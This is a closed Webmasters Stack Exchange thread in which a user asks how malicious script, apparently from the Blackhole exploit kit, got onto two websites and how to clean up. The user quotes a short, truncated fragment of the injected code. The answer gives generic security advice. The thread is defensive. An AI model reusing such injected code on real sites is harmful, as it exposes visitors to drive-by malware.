Webmasters Stack Exchange is a question and answer site for pro webmasters. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

This question was recently posed on another forum I am apart of.

Two sites that the person maintains had malicious code on the site the code is as follows:

<script>var date=new Date();function lols(){return true}
window.onerror=lols;function getXmlHttp(){var xmlhttp;try{xmlhttp=new
if(!xmlhttp&&typeof XMLHttpRequest!='undefined'){xmlhttp=new 
XMLHttpRequest();} return xmlhttp;}...(not pasting full code unless requested)

From what I can tell it is the Blackhole Exploit Script (Info here and here)

In your opinion what is the most likely way that the code was embedded onto the site? And what steps should be taken to 1) prevent future malicious code 2) to ensure that the computers are clean?

share|improve this question

closed as not constructive by Su', danlefree Sep 11 '12 at 17:01

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.If this question can be reworded to fit the rules in the help center, please edit the question.

Voting to close. Very non-specific and really just asking for pure speculation. Prevention shouldn't require anything special. (Good passwords, don't install random WordPress themes if using WP, etc.) – Su' Sep 14 '11 at 4:32
up vote 1 down vote accepted

1) Strong passwords (12+ chars, letter+number+specials chars), use of trusted code, application of published security updates to managed code.

2) Virus/Malware scanning at least. If intrusion is suspected, change all your password (using the suggestions from #1 above) for the machine(s). If it's really a problem, hire a professional that specializes in computer security/forensics.

Not sure what else to tell you.

share|improve this answer

Not the answer you're looking for? Browse other questions tagged or ask your own question.